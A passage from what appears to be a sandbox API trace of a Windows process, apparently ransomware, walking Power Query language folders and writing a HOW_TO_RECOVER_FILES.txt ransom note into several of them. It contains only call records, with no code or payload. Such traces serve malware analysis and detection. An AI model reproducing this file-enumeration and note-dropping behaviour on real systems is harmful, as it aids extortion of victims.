nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x206ec1f8, lpOverlapped=0x0 | out: lpBuffer=0x3644b20*, lpNumberOfBytesWritten=0x206ec1f8*=0x5d0, lpOverlapped=0x0) returned 1 [0216.821] CloseHandle (hObject=0x630) returned 1 [0216.821] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ec1c0) returned 1 [0216.821] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\pt-BR", nBufferLength=0x105, lpBuffer=0x206ebc60, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\pt-BR", lpFilePart=0x0) returned 0x6b [0216.822] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\pt-BR\\*", lpFindFileData=0x206ebee0 | out: lpFindFileData=0x206ebee0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf755cb7d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6bfa6d9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6bfa6d9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134ca30 [0216.823] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf755cb7d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6bfa6d9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6bfa6d9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0216.823] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfc0c33db, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc0c33db, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc0e95c0, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xeaa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Client.Excel.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0216.823] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf9ea37c1, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf9ea37c1, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf9ea37c1, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x26aa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Client.Windows.resources.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0216.824] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf7582db3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf7582db3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf7582db3, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x32040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Document.resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0216.824] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6bfa6d9, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6bfa6d9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6bfa6d9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x8aaa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.MashupEngine.resources.dll", cAlternateFileName="MICROS~4.DLL")) returned 1 [0216.824] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0216.824] FindClose (in: hFindFile=0x134ca30 | out: hFindFile=0x134ca30) returned 1 [0216.825] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec100) returned 1 [0216.825] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec0c0) returned 1 [0216.825] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ec1c0) returned 1 [0216.825] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\pt-BR", nBufferLength=0x105, lpBuffer=0x206ebc60, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\pt-BR", lpFilePart=0x0) returned 0x6b [0216.825] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\pt-BR\\*", lpFindFileData=0x206ebee0 | out: lpFindFileData=0x206ebee0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf755cb7d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6bfa6d9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6bfa6d9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134ca30 [0216.826] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf755cb7d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6bfa6d9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6bfa6d9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0216.826] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfc0c33db, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc0c33db, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc0e95c0, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xeaa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Client.Excel.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0216.826] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf9ea37c1, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf9ea37c1, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf9ea37c1, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x26aa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Client.Windows.resources.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0216.826] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf7582db3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf7582db3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf7582db3, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x32040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Document.resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0216.826] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6bfa6d9, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6bfa6d9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6bfa6d9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x8aaa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.MashupEngine.resources.dll", cAlternateFileName="MICROS~4.DLL")) returned 1 [0216.826] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6bfa6d9, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6bfa6d9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6bfa6d9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x8aaa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.MashupEngine.resources.dll", cAlternateFileName="MICROS~4.DLL")) returned 0 [0216.826] FindClose (in: hFindFile=0x134ca30 | out: hFindFile=0x134ca30) returned 1 [0216.827] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec100) returned 1 [0216.827] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec0c0) returned 1 [0216.827] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\pt-BR\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x206ebc10, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\pt-BR\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x84 [0216.827] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ec130) returned 1 [0216.827] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\pt-BR\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\pt-br\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x630 [0216.828] GetFileType (hFile=0x630) returned 0x1 [0216.828] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec0a0) returned 1 [0216.829] GetFileType (hFile=0x630) returned 0x1 [0216.829] WriteFile (in: hFile=0x630, lpBuffer=0x3658450*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x206ec1f8, lpOverlapped=0x0 | out: lpBuffer=0x3658450*, lpNumberOfBytesWritten=0x206ec1f8*=0x5d0, lpOverlapped=0x0) returned 1 [0216.830] CloseHandle (hObject=0x630) returned 1 [0216.830] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ec1c0) returned 1 [0216.830] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\pt-pt", nBufferLength=0x105, lpBuffer=0x206ebc60, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\pt-pt", lpFilePart=0x0) returned 0x6b [0216.830] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\pt-pt\\*", lpFindFileData=0x206ebee0 | out: lpFindFileData=0x206ebee0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf4ba375b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6e5cc4e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6e5cc4e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134ca30 [0216.833] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf4ba375b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6e5cc4e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6e5cc4e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0216.833] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfc70564d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc70564d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc72b8a6, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xf040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Client.Excel.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0216.833] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6e5cc4e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6e5cc4e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6e82eb0, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x28040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Client.Windows.resources.dll", cAlternateFileName="MICROS~4.DLL")) returned 1 [0216.833] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf4ba375b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf4ba375b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf4ba375b, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x33040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Document.resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0216.834] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf63c7502, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf63c7502, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf63c7502, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x8c040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.MashupEngine.resources.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0216.834] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0216.834] FindClose (in: hFindFile=0x134ca30 | out: hFindFile=0x134ca30) returned 1 [0216.835] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec100) returned 1 [0216.835] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec0c0) returned 1 [0216.835] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ec1c0) returned 1 [0216.835] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\pt-pt", nBufferLength=0x105, lpBuffer=0x206ebc60, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\pt-pt", lpFilePart=0x0) returned 0x6b [0216.835] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\pt-pt\\*", lpFindFileData=0x206ebee0 | out: lpFindFileData=0x206ebee0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf4ba375b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6e5cc4e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6e5cc4e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134ca30 [0216.836] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf4ba375b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6e5cc4e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6e5cc4e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0216.836] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfc70564d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc70564d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc72b8a6, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xf040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Client.Excel.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0216.836] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6e5cc4e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6e5cc4e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6e82eb0, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x28040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Client.Windows.resources.dll", cAlternateFileName="MICROS~4.DLL")) returned 1 [0216.836] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf4ba375b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf4ba375b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf4ba375b, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x33040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Document.resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0216.836] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf63c7502, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf63c7502, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf63c7502, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x8c040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.MashupEngine.resources.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0216.836] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf63c7502, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf63c7502, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf63c7502, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x8c040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.MashupEngine.resources.dll", cAlternateFileName="MICROS~2.DLL")) returned 0 [0216.836] FindClose (in: hFindFile=0x134ca30 | out: hFindFile=0x134ca30) returned 1 [0216.837] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec100) returned 1 [0216.837] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec0c0) returned 1 [0216.837] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\pt-pt\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x206ebc10, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\pt-pt\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x84 [0216.837] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ec130) returned 1 [0216.837] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\pt-pt\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\pt-pt\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x630 [0216.838] GetFileType (hFile=0x630) returned 0x1 [0216.839] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec0a0) returned 1 [0216.839] GetFileType (hFile=0x630) returned 0x1 [0216.839] WriteFile (in: hFile=0x630, lpBuffer=0x366c048*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x206ec1f8, lpOverlapped=0x0 | out: lpBuffer=0x366c048*, lpNumberOfBytesWritten=0x206ec1f8*=0x5d0, lpOverlapped=0x0) returned 1 [0216.840] CloseHandle (hObject=0x630) returned 1 [0216.840] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ec1c0) returned 1 [0216.840] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ro", nBufferLength=0x105, lpBuffer=0x206ebc60, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ro", lpFilePart=0x0) returned 0x68 [0216.840] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ro\\*", lpFindFileData=0x206ebee0 | out: lpFindFileData=0x206ebee0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0063153, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6e5cc4e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6e5cc4e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134ca30 [0216.841] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0063153, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6e5cc4e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6e5cc4e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0216.841] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf80fc2c4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf80fc2c4, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf80fc2c4, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xf040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Client.Excel.resources.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0216.841] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x5fc257f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x5fc257f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x605aed7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x28040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Client.Windows.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0216.842] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6e5cc4e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6e5cc4e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6e5cc4e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x33040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Document.resources.dll", cAlternateFileName="MICROS~4.DLL")) returned 1 [0216.842] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x206ebea0 